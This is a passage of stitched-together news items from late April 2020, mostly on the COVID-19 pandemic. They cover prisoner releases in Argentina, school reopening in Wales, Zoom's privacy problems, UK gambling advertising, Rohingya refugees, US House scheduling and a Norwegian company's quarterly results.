Covid-19, she died, Mahender told reporters. Osmania Hospital superintendent Dr Nagender and Petla Burz maternity hospital superintendent Md Osman could not be reached for reaction. Meanwhile, Telangana state human rights commission ordered an inquiry into the death of the woman after she was forced to move from one hospital to another because she hailed from Covid-19 affected zone in Gadwal. It directed the state government and superintendents of all the hospitals to submit a report on the incident by June 16. SHARE THIS ARTICLE ON More than 1,000 prisoners have been released in Argentina after President Alberto Fernandez said the government should consider granting house arrest to inmates who are at-risk of contracting the deadly coronavirus. Fernandez's revealed his stance during an interview with Radio Con Dos on Monday, after a series of riots at prisons in the country by inmates who fear the spread of COVID-19. As of Tuesday, 753 detainees were released from prisons in Buenos Aires and more than 250 were allowed to leave their federal jail cells. Just hours after the president's announcement, detainees rioted at a prison in the Buenos Aires town of Boulogne Sur Mer, in Argentina's second jail riot in four days. Inmates at a prison in the Buenos Aires town of Boulogne Sur Mer rioted Monday afternoon, demanding improved measures to prevent the spread of the coronavirus A prisoner participates in a protest while inmates rioted Monday at a Buenos Aires prison Video of Monday afternoon's incident showed a large group of prisoners milling around the roof at one of the facilities at the Boulogne Sur Mer Penitentiary complex. Several Argentine media outlets reported that at least 200 prisoners participated in the riot before prison guards took control. 'Prison is a very risky place of human concentration, where contagion and contamination can occur very easily. There are also people who have risk factors,' said Fernandez, who based his decision to side with the prison population on recommendations made by the Inter-American Commission on Human Rights. Argentine President Alberto Fernandez favors placing some of his country's prison population under home confinement to contain the spread of the coronavirus The Boulogne Sur Mer Penitentiary was the site of Argentina's second prison riot in four days A prisoner at Boulogne Sur Mer Penitentiary carries a flag during Monday's riot A prison riot last Friday in the town of Villa Divoto left two prisoners with injuries, including one who fractured his leg after he fell while inmates tried to lift him to the roof. Both men tested positive for COVID-19. Federico Rodrigo Rey, 23, died last Wednesday during at riot a jail in Buenos Aires town of Florencio Varela when he was shot three times by prison guards, who fired lead bullets. The riot was sparked by the death of Julian Arakaki, a 49-year-old who had tested positive for the coronavirus while in detention. Arakaki, who was in prison for murdering his eight-year-old daughter, is the only inmate in Argentina to die from coronavirus so far. The Federal Criminal Cassation Chamber suggested that non-violent criminal offenders, pregnant women, mothers and detainees who are over the age of 60 should be eligible to be placed in home confinement and monitored with an ankle bracelet. However, Fernandez's posture was criticized Monday night by the Buenos Aires province congressional members of the Together for a Change political party. 'The situation requires everyone's attention. But the solution cannot be to open the prison doors without other alternatives,' Together for a Change said in a statement. 'The COVID-19 pandemic cannot become an excuse to release prisoners with [convictions] for murder, sexual assault, gender-based crime, weapons, corruption, among others, and without a minimum of control or attention to the delicate situation of the victims.' United Nations, April 28 : United Nations Secretary-General Antonio Guterres urged the international community to do more to address various challenges faced by young people who are encountering such problems as inadequate participation opportunities and exclusion from political decision-making. "We must do more to address these challenges, guided by the findings of the Independent Progress Study on Youth Peace and Security," the UN chief told the virtual Security Council meeting on the Maintenance of International Peace and Security: Youth, Peace and Security on Monday, reported Xinhua news agency. The secretary-general called on the international community to invest in young people's participation, organisations and initiatives. "The Peacebuilding Fund is an invaluable tool, and I urge you to ensure it has the resources it needs," he said. Guterres also said that "we must strengthen human rights protections and protect the civic space on which youth participation depends," adding that "we must emerge from the COVID-19 crisis with a determination to recover better -- massively increasing our investment in young people's capacities as we deliver the Sustainable Development Goals." Noting that the world has been shaken by the COVID-19 pandemic, Guterres said that "young people are feeling the impact acutely, from lost jobs to family stress, mental health and other hardships." "Over 1.54 billion children and youth are out-of-school," said the secretary-general. "Young refugees, displaced persons and others caught up in conflict or disaster now face even more vulnerability. Persons with disabilities may face new hindrances in access to the services and support to which they have a right." Noting that young people were facing enormous challenges even before the current crisis, he said that one of every five young people was already not in education, training or employment. "One of every four is affected by violence or conflict," he added. "And every year, 12 million girls become mothers while they themselves are still children." "These frustrations and, frankly, failures to address them by those in power today, fuel declining confidence in political establishments and institutions," said the secretary-general. The UN chief warned that "when such a cycle takes hold, it is all too easy for extremist groups to exploit the anger and despair, and the risk of radicalization climbs." Despite these hurdles and risks, the UN chief said, young people are still finding ways to engage, support each other, and to demand and drive change. "The world cannot afford a lost generation of youth, their lives set back by COVID-19 and their voices stifled by a lack of participation," he said. -- The story has been published from a wire feed without any modifications to the text Schools wont immediately return to full operating capacity once lockdown is lifted This article is old - Published: Tuesday, Apr 28th, 2020 Schools will not return to full capacity following the easing of lockdown measures in Wales, Education Minister Kirsty Williams has said. Ahead of her appearance at the Children, Young People and Education Committee today, Kirsty Williams has set out plans on how children will return to school once lockdown restrictions are eased. The Easter break was bought forward with schools across Wales closing on 20 March 2020. Some schools have remained open to children who are vulnerable and children of key workers who cannot be cared for at home. The Education Minister says school provision will gradually adapt and extend further during the next phase in line with changes to the current restrictions outlined by the First Minister last week. Schools wont return to operating at full capacity, instead, a phased approach will be adopted, schools wont open for all pupils, from all years, all week the minister has said. The First Minister published a framework with seven key questions to help lead Wales out of the coronavirus pandemic. The Education Minister will set out five guiding principles which will determine when and how schools will return to providing education for most school pupils: The safety and mental, emotional and physical wellbeing of students and staff Continuing contribution to the national effort and strategy to fight the spread of COVID-19 Having the confidence of parents, staff and students based on evidence and information so that they can plan ahead Ability to prioritise learners at key points, including those from disadvantaged backgrounds Consistency with the Welsh Governments framework for decision making, to have guidance in place to support measures such as distancing, managing attendance and wider protective actions. Kirsty Williams said: Our latest understanding of the rate of transmission of COVID-19 allows us to be hopeful, but still requires us to be cautious. It is vital that parents, staff and students have confidence in returning to school. We will only enter the next phase when the evidence and advice suggests that it is the right thing to do. I will communicate any decision to change the operation of schools well in advance of any required action, allowing school staff, pupils and parents to plan ahead. Schools will not immediately return to operating at full capacity. It will be a phased approach and I do not expect schools will suddenly open for all pupils, from all years, all week. The ongoing challenge of COVID-19 means we will prepare schools for a range of scenarios for the foreseeable future. However unlikely, we must prepare for an eventuality that requires schools to reduce operations at specific future points. I would like to thank the all those working hard to ensure that schools and hubs are able to provide support for those who need it. As I have said previously, our teachers, support staff and childcare workers have proved themselves to be national heroes. The Senate President has named Osun senator, Ajibola Basiru, as the new chairman of the Senate Committee on Media and Public Affairs. Mr Basiru will take over from Godiya Akwashiki, who was acting spokesperson after a court sacked Adedayo Adeyeye from the Senate. Mr Akwashiki (APC, Nasarawa) will now chair the Senate Committee on Employment, Labour and Productivity while Biodun Olujimi (PDP, Ekiti) is named the chairperson, Senate Committee on Diaspora and Non-Governmental Organisations. Mr Lawan made the announcement at the close of plenary on Tuesday. In his closing remarks, Mr Lawan thanked his colleagues for their hard work and consistency. He said the upper legislative chamber would reconvene to consider and pass the reviewed budget and the amended Medium Term Expenditure Framework as soon as the leadership of the chamber receive communication from the Executive on the matter. He also directed all committees to continue their relevant activities. Mr Lawan thereafter moved that the Senate adjourns sine dine so lawmakers could continue to work from home. That means that there is no official resumption date yet and lawmakers will only reconvene when necessary. The National Assembly had on March 24 adjourned plenary for two weeks, fixing April 7 as resumption date. The resolution to so do was reached during a closed session by members, which lasted about 40 minutes. Mr Lawan had explained that members unanimously agreed that the National Assembly adjourns plenary for a period of two weeks due to the Coronavirus pandemic which forced a number of countries to shut down so as to curtail the spread of the disease. The lawmakers were unable to reconvene on April 7 as scheduled because Nigeria has been on lockdown for more than four weeks now. Reach key decision makers with sales-ready leads that shorten your sales process. Move the needle by delivering funnel qualified leads to your sales team. Learn more As the coronavirus pandemic worsened in the U.S., Zoom Video Communications offered free access to its videoconferencing platform and demand skyrocketed. Zoom has quickly become the de facto for teleconferencing during the COVID-19 pandemic, said James McQuiggan, security awareness advocate at KnowBe4. A lot of organizations are using it to keep in contact with their employees, he told the E-Commerce Times. Success Has Its Price However, since entering the spotlight, Zoom has drawn heavy criticism for its privacy practices. Zooms iOS app, created with Facebooks SDK, shared analytics data with Facebook without informing users, according to Motherboard. It provided information about users whether they had a Facebook account or not. Zooms privacy policy is creepily chummy with the tracking-based advertising business, wrote Doc Searls, alumnus fellow of the Berkman Center for Internet and Society at Harvard University, and one of the four authors of The Cluetrain Manifesto. Zoom is in the advertising business, and in the worst end of it: the one that lives off harvested personal data, he observed. What makes this extra creepy is that Zoom is in a position to gather plenty of personal data, some of it very intimate. Referring to the Facebook data sharing, Zoom had an obligation to disclose that to its users, said Rob Enderle, principal analyst at the Enderle Group. Facebook has had many significant issues regarding protecting user privacy. For many, avoiding an application that shared data with Facebook would have been prudent, he told the E-Commerce Times. Zoom should have known the perils of using Facebooks SDK, McQuiggan suggested. Application SDKs will use various levels of logging depending on how they are configured, he pointed out. Developers should be aware of the logging capabilities when coding applications to interface with Facebook or other third-party organizations. A D V E R T I S E M E N T Meanwhile, Zoom is facing a class action lawsuit alleging that its privacy policy did not explain to users that its app contained code that disclosed information to Facebook and, potentially, other third parties. Hackers have intruded on Zoom videoconferences known as Zoom-bombing triggering a public warning from the U.S. Federal Bureau of Investigation. The Intercept reported a slew of privacy problems on Zooms platform, including the following: Its privacy policy let it collect user data and employ that in marketing; Its videoconferences are not encrypted end to end as claimed, but only in transit, except for in-meeting text chat; and Its Meeting Connector lets companies host a Zoom server on their internal corporate network, which means metadata about videoconferences or virtual meetings, including the names of participants, goes through Zooms servers, giving Zoom access to that data. Cybercriminals have been setting up fake Zoom domains, according to Checkpoint Security. However, that is not a problem for Zoom alone. Phishing websites have sprung up to imitate every leading communication application, including Google Classroom. New York State Attorney General Letitia James has written Zoom, asking what measures its taking to ensure users privacy. We have sent a letter to Zoom with a number of questions to ensure the company is taking appropriate steps to ensure users privacy and security, a spokesperson said in a statement provided to the E-Commerce Times by James press secretary Fabien Levy. The pros of using Zoom are that its relatively inexpensive and it works better than most of the alternatives, Enderle remarked. On the other hand, it may violate many national and international privacy laws, opening the company up to employee and customer litigation and potential regulatory fines. Closing the Gaps Zoom has cleaned up its privacy act, said author Searls. The company has removed the code that sends data to Facebook. A D V E R T I S E M E N T Zoom has stopped the data leakage to Facebook. Thats good. But their privacy policy is still a complete trash fire that belittles privacy legislation, and grants themselves the right to do exactly what they were just caught doing. https://t.co/oowYsWrxEV pic.twitter.com/hWj0BEoD2y DHH (@dhh) March 28, 2020 In addition to amending its privacy policy, Zoom maintained that it does not sell users personal data. Still, the companys privacy protections are below standard for a communications application, Enderle observed. They should both require more disclosure and more direct approval of the risks the user is taking by using the product. Encryption Issues End-to-end encryption is too difficult, Zoom has argued, although Apple has been managing it with FaceTime. However, FaceTime is an on-demand connection between iPhone or Apple devices, with limits on how many you can connect to at one time, McQuiggan noted. Zoom is a multiplatform connection tool for various devices, operating systems and platforms. End-to-end encryption does increase latency and processing overhead in both directions, Enderle pointed out. Given the part youre generally mostly concerned with is in transit, [Zooms security] may be acceptable to most, particularly given that phone conversations arent encrypted right now, he said. Protecting Yourself on Zoom To avoid the risk of being Zoom-bombed, McQuiggan recommended the following steps: In the platforms General Settings, turn on Require a password when scheduling a meeting. Dont include the password in the invitation link but email it separately to attendees; Turn on Screen Sharing by Host Only to prevent people from posting inappropriate material. The host can enable other users once the meeting has begun; Turn on Only Authenticated Users Can Join: Sign-in to Zoom to restrict access only to people who have signed in and been authenticated either by Zoom or the organization or company; and Turn on Enable Waiting Room to let the host control who can join the meeting and prevent unauthorized attempts to join. Web conferencing platform users tend to avoid using passwords because it makes joining the meeting harder, said Matt Keil, director of product marketing at Cequence Security. However,consumers should take to heart the password advice that Zoom and other Web conferencing vendors offer, he told the E-Commerce Times, and enable the use of default security features to avoid snooping. Britains largest gambling firms have said they will remove all TV and radio advertising for games and products during the coronavirus lockdown. The Betting and Gaming Council (BGC) said firms have voluntarily agreed to remove all their gaming advertising for at least six weeks. It comes a week after the government asked the industry for updates on how it is tackling problem gambling during the lockdown. The BGC, which represents betting shops, online betting and gaming, bingo and casinos, said existing TV and radio advertising slots will be replaced by safer gambling messages, donated to charities or removed from broadcast where contracts allow. It has made the move despite a fall in advertising spend and the volume of TV sport and casino adverts falling up to 10 per cent. It added that all operators will look to implement this change as rapidly as possible but no later than Thursday May 7. BGC chief executive Michael Dugher said online revenue in the sector has dived 60 per cent during the lockdown, saying there hasnt been an explosion in people betting online as some had predicted. From day one of this crisis, we have sought to protect customers potentially at risk, including announcing stepping up safer gambling measures as part of our 10 pledges for Covid-19 in March, he said. I hope now that other major gambling operators like the National Lottery follow our lead. A Camelot spokesman said: Every time someone plays the National Lottery, they are contributing to UK good causes raising, on average, 30m each week. This is even more vital during this time when hundreds of millions of pounds of lottery money is being made available to help the country respond to, and recover from, the Covid-19 crisis. Speaking in the House of Commons, the SNP urged further action from the government. John Nicolson, the partys spokesman for digital, culture, media and sport, said: Estimates indicate that as many as 200,000 people in Scotland are problem gamblers. A Survation poll last week showed an apparent fall in part-time gambling as a result of the coronavirus lock-in, maybe masking more intense betting amongst problem gamblers. In the absence of sporting fixtures, many are turning to riskier products such as online casino games, and advertising for these has been ramped up by betting companies during lockdown which, of course, is shameful. Will the minister call upon gambling companies to provide clear and prominent Covid-19 addiction warnings on betting site pages and will he impose an ongoing suspension on gambling advertising beyond the end of the current lockdown period? Sports minister Nigel Huddleston replied: Whilst I welcome the current movements from the industry, they have come up with plans, weve asked them to also share data in a more meaningful manner so that we can make educated choices here, and also of course we have announced a review of the Gambling Act and we will be making more announcements in terms of the scope of that in due course for potentially more comprehensive measures. Australia has begun opening beaches and allowing home visits as it starts to ease its lockdown following a decline in new coronavirus cases. Officials in New South Wales (NSW), the countrys most populous state, said some restrictions on movement would be relaxed, with the hope that widespread medical testing can help to sustain the decline in Covid-19 cases. The state has reported nearly half of Australia's total cases. Bondi Beach and two neighbouring beaches in Sydney were reopened to local residents on Tuesday after being closed a month ago due to concerns over social distancing. Officials said they will allow up to two adults to visit another persons home from Friday in a relaxation of the countrys stay-at-home policy and ban on non-essential movement. Gladys Berejiklian, the NSW premier, acknowledged that many people had been isolated in their homes due to the ban on non-essential activities during the lockdown. The announcement came as Australia recorded just one new case of Covid-19 from an unknown source in the past 24 hours, suggesting the countrys outbreak was coming under control. We are winning but we have not won yet, Greg Hunt, Australias health minister, said. Mr Hunt told reporters on Tuesday that 2.4 million people (about 10 per cent of the population) had downloaded and registered for the governments contact tracing app, which uses a Bluetooth wireless signal to exchange a digital handshake with another user when they come within 1.5 metres. The app then logs this contact and encrypts it, with users notified if they have had more than 15 minutes of close contact with another user who tests positive for the virus. However, the government has said it needs about 40 per cent of the population to download and use the app for it to have maximum effectiveness. Australia has confirmed 6,727 cases of coronavirus, with 85 deaths, as of Tuesday, according to the health minister. The country has avoided the high numbers of Covid-19 cases and deaths seen in other countries by imposing an early shutdown of businesses and strict social distancing rules. States have been able to relax some restrictions now as the local rate of new infections has slowed to barely 1 per cent per day, compared to 25 per cent a month ago. Additional reporting by Reuters By PTI DHAKA: Bangladesh Foreign Minister AK Abdul Momen has underlined that the Southeast Asian countries and the developed nations should contribute more to sheltering the Rohingyas, saying Dhaka has done enough for the refugees from Myanmar despite having resource constraints. Momen's statement came as the UK's State Minister for Foreign and Commonwealth Lord Ahmad called him on Monday and urged him to allow the entry of boats with some 500 Rohingyas stranded in the country's southwestern coast in the Bay of Bengal. "Five hundred is not a big figure when Bangladesh has sheltered over 1.1 million Rohingyas on humanitarian ground despite our resource constraints as a developing country," an official, who was familiar with the talks between the two ministers, said. Nearly one million Rohingya Muslims fled a crackdown by the Myanmarese military in 2017 in Rakhine state and are living in camps in Cox's Bazar in Bangladesh. Myanmar has faced international pressure to allow Rohingyas to return to Rakhine and grant them citizenship rights. Momen told Ahmad the boats were not on the Bangladesh coastlines and wondered why Bangladesh alone was being asked to provide them the refuge, ignoring the other countries in the region. He said other countries in South East Asia and developed nations should simultaneously shoulder responsibilities of providing refuge to the displaced people. ALSO READ: FOLLOW CORONAVIRUS LIVE UPDATES HERE Momen suggested the UK as well could send a Royal ship to rescue the stranded Rohingyas in the mid sea and shelter them. "The foreign minister feared that the situation could prompt the remaining Rohingyas in Myanmar's Rakhine state to try to enter Bangladesh as military crackdowns were still underway to kill them and oust the ethnic minority people from their homeland," the official said quoting the Bangladeshi minister. He expressed concerns as different countries, including the European Union, kept on investing in Myanmar and the human rights bodies were not vocal over the issues. Several international rights groups and aid agencies, including the United Nations High Commissioner for Refugees, earlier appeared critical on the role of Dhaka and other countries in the region in rescuing the floating people who were at sea for weeks without adequate food and water. Last week, the Bangladesh Coast Guard rescued 396 starving Rohingyas who were drifting at sea for weeks following their failed attempt to reach Malaysia while nearly 50 of them died due to ailments and malnutrition during the period. "Why should Bangladesh take the responsibility every time? Bangladesh has already taken more than a million of Rohingya. We are running out of our generosity now," Momen had said then. Share this article Whatsapp Facebook Twitter Linkedin Ivany Atina Arbi (The Jakarta Post) Jakarta Tue, April 28, 2020 06:31 625 fc6853813033f564188675f8bd48e448 1 National COVID-19-Indonesian-patients,doctor,Michael-Robert-Marampe,death,wedding,meninggal-dunia,virus-korona-indonesia,dokter-meninggal-virus-corona Free The story of Michael Robert Marampe, a young Indonesian doctor who died of COVID-19 on Saturday, has broken the hearts of many, especially as his personal battle against the coronavirus took place as he was preparing for his wedding. A week before losing the fight against the disease, Michael posted a short video on his Instagram account, @mikemarampe, revealing to his followers that he was "one of the COVID-19 victims" of Indonesia. Learning from his personal experience, he reminded fellow medical workers at the forefront of the health crisis to always prioritize their safety at work by wearing proper personal protective gear. Michael, who was receiving intensive care at the Persahabatan referral hospital in East Jakarta when he recorded the video, further asked the workers to keep their spirits up during the battle. "For me, to become a doctor is something to be proud of as it allows me to serve patients and help many people. There's no regret," he said. On the same day, Michael also posted a photo of him with his fiancee and "guardian angel" who had supported him for the past eight years. "Thanks to my fiancee, Tri Novia Septiani. You are the most beautiful gift in my life. I love you always," he said. The post turned out to be his last. Read also: Alone on their deathbed, how COVID-19 keeps families away from loved ones Tri, meanwhile, made an Instagram post for her late fiance on Sunday, expressing how proud she was of Michael. She vowed to finish their song that was initially made for their wedding, which was planned to be held on April 11 had it not been postponed because of the outbreak. "I love you so much [...] and I know you loved me too. See you again, my dear," Tri said. The comment section was filled with hundreds of responses from people sending their condolences. Michael is one of at least 40 medical workers 24 doctors and 16 nurses who have died from COVID-19 since Indonesia announced its first two confirmed cases on March 2, according to the Indonesian Medical Association (IDI) and the Indonesian Nurses Association (PPNI). The New York Times recently ran on its front page (some blog readers may remember that I am a dinosaur who still reads a newspaper in hard copy even more so now with so much time at home to peruse it while drinking my breakfast coffee) a story about how shutdowns and social distancing emerged as the preferred strategy for dealing with a disease outbreak like the coronavirus. The story begins in 2005 with President George W. Bush. Already concerned about bioterrorism after 9/11, Bush in 2005 read a new book about the Spanish flu epidemic. This was the time of the avian flu outbreak in Asia, a disease spreading from animals to humans where there was no vaccine. Bush set in motion an effort to come up with ideas for dealing with a similar problem at home, convening an advisory group that included a White House bioterrorism advisor and a Department of Veterans Affairs doctor. This group developed a proposal for an idea that, the Times article says, they knew would be treated like a pinata telling Americans to stay home from work and school the next time the country was hit by a deadly pandemic. The conventional wisdom at the time was that after decades of advances by the pharmaceutical companies no matter what the ailment there must be some kind of available fix. Locking your family inside your home seemed backward, and encouraging people not to go to work economically disastrous. Not surprisingly, when the idea came out there was also significant pushback, with one doctor involved in the effort arguing the government should tough it out and work quickly to develop a vaccine. Caught in the middle, the article states, Centers for Disease control officials decided to conduct more research and survey community leaders around the country. That further work led to the CDC back in 2007 endorsing the distancing/shutdown approach, dubbed non-pharmaceutical interventions, as official government policy. After a five-year review within the Obama administration which was absolutely not asleep at the pandemic wheel; that contention applies instead to the current administration this policy was updated and reaffirmed. I see four distinct lessons in this story. First, we had a president, George W. Bush, who cared about something besides headlines and quick hits. Especially given the attacks at the time on Bushs intelligence and the view that presidents care only about the immediate and the short term -- this is a very reassuring statement about the commitment of many presidents to the public good. (Bush even, contrary to the characterizations at the time, read some nerdy books.) Critics of democracy around the world say that our political system wont generate such individuals at the top. Thats not what happened here. The second lesson which I had highlighted in an earlier blog post about ventilators is that one of the many things a good career civil service provides is a cadre of experts who are thinking about low-visibility problems when few others are. This again happened here. At the time of the effort, a pandemic was a low-visibility problem, though the avian flu meant it wasnt totally off the radar. The Bush administration brought in a VA doctor and a White House biodefense advisor to head the effort. The third lesson is that expertise is extremely helpful. The advisors soon found themselves measuring the width of the standard school bus seat and the average classroom size in the United States. This led them to conclude that schools would need to close to inhibit spread. The doctors involved in the effort did research on the 1918 pandemic to look at the relationship between the extensiveness and timing of shutdown efforts and the death toll. Both came to the same conclusion and published papers on their findings within months of each other in 2007. Early, aggressive action to limit social interactionswas vital to limiting the death toll. The fourth lesson is that, contrary to the assumptions of many, groupthink did not prevail here. Despite initial skepticism, advocates of the crazy new approach persisted with their views. The article notes that the Bush administration encouraged those promoting the new idea to keep at it and follow the science. As with my earlier story about ventilators (though for a different reason), this story did not have happy ending. Sadly, the Trump administration delayed much too long in following the suggestion of the experts, making our slow response a laughingstock around the world. That response not only has resulted in unnecessary deaths but also severely damaged the worldwide credibility of the U.S. China, by contrast, has gained credit for a forceful response despite initial delays due to a coverup of early information about the virus, because China's effort was delayed much less than ours and did prove successful. It wasnt for lack of trying by our experts. Ontario announces pay raise for front-line workers, April 26 If Premier Doug Ford is serious about his desire to do better by front-line workers in long-term-care homes, he should instruct his Ministry of Labour inspectors to enforce health and safety laws and actually protect these workers and respond to the health and safety complaints of these same front-line workers by attending the workplace and writing orders. When the ministry failed to address workers valid health and safety concerns, it took the unions, specifically the Registered Nurses Association of Ontario and the Service Employees International Union to successfully apply to the Superior Court, in the case of the nurses union and the Ontario Labour Relations Board for other workers employed these facilities. We know that there are many facilities where staff dont belong to unions and fear being fired for complaining or refusing unsafe work. Will Ford get the ministry inspectors to gear up in personal protective equipment, attend these workplaces and where they find non-compliance, issue orders? A pay raise is a good thing, but it does little for sick, or, indeed, dead workers. In an overnight reversal, House leaders have decided not to call members back to Washington for a full session next week, prolonging members' unprecedented absence from Capitol Hill due to the coronavirus pandemic. "After further discussion with the House physician last night .... we will not come back next week, but we hope to come back very soon," House Majority Leader Steny Hoyer told reporters on Tuesday. House Democratic leaders arrived at their decision to keep members in their home districts after acknowledging that the new infection rates of Covid-19 in Washington, DC, and surrounding counties are still rising. "The House physician's view was that there was a risk to members," Mr Hoyer, a Maryland Democrat, said. Less than 24 hours earlier, Mr Hoyer announced on a Democratic caucus call that the chamber would be called back for business on the week beginning 4 May, and that "votes are possible" on a sweeping new legislative package to help combat the coronavirus crisis. Congress has passed four bills to aid in the pandemic relief effort worth more than $2.7trn in the last seven weeks. That expenditure figure represents roughly 13 per cent of US GDP. Mr Hoyer told members on the call on Monday that he wants a Democratic version of the next bill drafted by Tuesday of next week and ready to hit the House floor by Thursday or Friday at the latest. The Senate will be in session next week, Majority Leader Mitch McConnell, Republican of Kentucky, said in a statement on Monday. A spokesman for Mr McConnell confirmed the upper chamber will be in Washington for a full work week despite the House further postponing its resumption of regular business. Donald Trump took a pot shot at Democrats on Tuesday saying that Democrats are "enjoying their vacation" and "don't want to come back" to Washington. When pressed if he really believes Democrats are enjoying the coronavirus crisis, Mr Trump pointed to Speaker Nancy Pelosi's recent appearance on The Late Late Show with James Corden where she showed the British host her trove of artisan ice cream. She is "eating ice cream," Mr Trump said. Both chambers have been slow to adopt any sort of remote work system, leaving committee chairs powerless to call oversight hearings as the Trump administration doles out the trillions of dollars Congress has authorised since early March. Members on the House Permanent Select Committee on Intelligence have not been able to attend classified briefings since they are typically held at a Sensitive Compartmented Information Facility (SCIF) at the Capitol, and no contingencies are in place for remote briefings. And perhaps most importantly, being stuck in their home districts has sidelined rank and file members from both parties from direct negotiations on the coronavirus response legislation, though it has afforded them the opportunity to gather on-the-ground information from their constituents about what is and is not working. "I think most members are working harder than they would work if they were at the Capitol," Mr Hoyer told reporters on Tuesday, saying lawmakers are talking with small business owners, governors, local political officials and constituents. "Any thought members aren't working very hard ... is simply incorrect," Mr Hoyer said. Vow ASA reported revenues of NOK 116 million for the first quarter of 2020. The year-on-year growth of 24 % is mainly a result of the acquisition of ETIA, which was included in the accounts from 1 October 2019. EBITDA in the first quarter was of NOK 14 million, representing a margin of 12 %. The company was awarded several new contracts during the first quarter and projects continued mostly uninterrupted. Performance was particularly strong in Projects and Aftersales (Scanship) with a combined EBITDA margin of 16.1 %. Order backlog at the end of the first quarter was all-time high NOK 975 million, partly a result of currency effects. "These are truly strange times. While people, businesses and governments across all continents are fighting the covid-19 pandemic, Vow is reporting a strong first quarter of 2020 and only minimal adjustments in our project portfolio. In the cruise segment, all deliveries during 2020 are for newbuilds scheduled to enter operations from 2022 and deliveries are being prepared according to plan," says Henrik Badin, CEO of Vow. "We are also experiencing continuing demand for our technology and solutions in land-based markets, and we remain optimistic about our plans for growth within several industry verticals," he says. "These are also uncertain times. Cruise ships are docked, and some shipyards have been temporarily closed. Meanwhile, we are currently tendering and in discussions with yards for deliveries to ships confirmed in their orderbooks. Our overall sound order backlog and positioning in new industry verticals constitute a strong foundation for continued growth," Badin says. The corona pandemic (covid-19) has caused major disruptions to the world economy. The company is closely monitoring the situation, implementing measures to protect the people and operations, as well as to prepare for the potential operational and financial consequences of the situation. Vow's business is continuing mostly as planned, without any significant changes in the delivery schedule of systems to the cruise industry. The company expects meanwhile, that its Aftersales segment will be increasingly affected going forward, since most cruise ships have been docked since March. Meanwhile, Vow maintains that revenues in the first half of 2020 is expected to be higher than in the second half of 2019. Vow expects to benefit from the growing concern for climate and the environment in the cruise industry, and with the acquisition of ETIA, the company is now also increasingly relevant towards a wide range of land-based industries. See enclosed Operational update 1Q 2020 and Presentation 1Q 2020 with further details. Today at 11.00 CET, the company's CEO Henrik Badin will host an online video conference. After a brief introduction, he will answer questions from the audience. The session will be held in English. A replay of the webinar will be made available on www.vowasa.com(http:/www.vowasa.com) shortly after. To register and join the webinar, please copy and past the following link into your browser and fill in the required information: https://www.vhgo.no/vow/ For further queries, please contact: Henrik Badin - CEO Vow ASA Tel: + 47 90 78 98 25 Email: henrik.badin@vowasa.com About Vow ASA In Vow and our subsidiaries Scanship and Etia we are passionate about preventing pollution and giving waste value. Our world leading solutions convert biomass and waste into valuable resources and generate clean energy for a wide range of industries. Cruise ships on every ocean have Vow technology inside which processes waste and purifies wastewater. Fish farmers are adopting similar solutions, and public utilities and industries use our solutions for sludge processing, waste management and biogas production on land. Our ambitions go further than this. With our advanced technologies and solutions, we turn waste into biogenetic fuels to help decarbonize industry and convert plastic waste into fuel, clean energy and high-value pyro carbon. Our solutions are scalable, standardized, patented and thoroughly documented, and our capability to deliver is well proven. They are key to end waste and stop pollution. Located in Oslo, the parent company Vow ASA is listed on the Oslo Stock Exchange (ticker VOW from 13 January 2020). This information is subject to the disclosure requirements pursuant to section 5-12 of the Norwegian Securities Trading Act. Attachments A Chinese-Canadian filmmaker told China.org.cn that he is glad he chose to stay in China during the COVID-19 epidemic, while blasting racism against Chinese on the Western social media. A photo shows Chinese-Canadian filmmaker Danny Wu holds a camera while wearing anti-virus gear in Chengdu, Sichuan province, 2020. [Photo courtesy of Danny Wu] In January, Danny Wu, a young filmmaker known for his 2019 documentary film "Square One," was actually in the middle of a tour promoting his film in the Netherlands. Then he flew home to Chengdu, China, to celebrate Chinese New Year with his extended family. "The plan was to come back to China for New Year, and then continue the tour afterwards. But COVID-19 basically ruined that plan," he said. On his second day back, Wuhan was shut down. "At that time, it was an historically unprecedented move to just lock down a city," he remembered. Wu was born in Chengdu, Sichuan province, in 1996, and moved with his parents to Canada when he was 7 years old. When the outbreak first started, lots of friends and acquittances encouraged him to return to the West. "From my perspective though, I grew up in the West and never had much time to come back to China, at most about once a year. If I were to return back to Canada, I would just be worrying about my family the entire time, so I thought it would be better if I just spend this epidemic locked up with them in China instead," Wu explained. "I was happy in the sense that I was able to make up for lost time and spend time with my family. Now that the situation is better in China than Canada, it makes even more sense for me to stay here longer." Though Chengdu avoided a total lockdown, epidemic prevention and control measures have been, and continue to be, very strict. After more than three months of arduous fight, Wuhan, the Chinese city hardest hit by the coronavirus outbreak, cleared all COVID-19 cases in hospitals last Sunday. But Canada had more than 49,600 confirmed cases by Tuesday morning, according to the Johns Hopkins Coronavirus Resource Center. Wu said that Chinese culture encourages team thinking, putting the group ahead of the individual, thus making people very self-aware to what they can and can't do in situations like a pandemic. Western culture is centered around individualism, and achieving for oneself, thus when it comes to the virus, "you hear stories about people going out in the public in the time of the virus and not caring about the effects that it could have on other people." Wu planned to go back to Canada in March, but is now still in Chengdu due to the uncertainty. As a filmmaker, he said he found himself becoming more productive and creative during his time in Chengdu. Chinese-Canadian filmmaker Danny Wu in the city center of Chengdu, Sichuan province, 2020. [Photo courtesy of Danny Wu] During the time he spent in Chengdu, he premiered his film "Square One" online in China which gained more than 1 million views on Weibo and other video streaming platforms. He also started to prepare for his next project, did a report for CNN, and made a 22-minute short documentary titled "Living in China During Coronavirus COVID-19 Pandemic" documenting his experience in China during the coronavirus outbreak. "One of the emotional experiences was that because I live so close to the Sichuan hospital, I actually saw on Twitter people praising the Sichuan doctors for helping out in Italy," he said. The filmmaker added that he lives in Vancouver which has a big Chinese population so fortunately, he probably won't have to worry too much about the racism when he goes back to Canada. "However with that being said, I do have friends who have told me there've been racist remarks yelled at them in public." "I've blocked the words 'Chinese,' and 'Asian' on my Twitter because it was hard to read all the racism against Chinese people on Western social media," he felt upset, but said hopefully, "However, though it exists, I don't believe it should represent the West as a whole because these are angry people and are trying to find somebody to blame in a time of chaos. Even though it's very inappropriate at times, there are lots of foreigners also speaking out against racism against Chinese people." Dhaka, April 28 : Restaurants in Dhaka can sell takeaway iftar items from Tuesday onwards amid an ongoing lockdown due to the COVID-19 pandemic, police in the Bangladeshi capital said. Owners must ensure buyers' physical distancing while selling iftar items, and no one will be allowed to eat inside the restaurants, Masudur Rahman, deputy commissioner (media) of Dhaka Metropolitan Police (DMP), told The Daily Star newspaper on Monday. The restaurants will not be permitted to set up any stalls outside their premises on footpaths as the DMP has decided not to allow any sale of 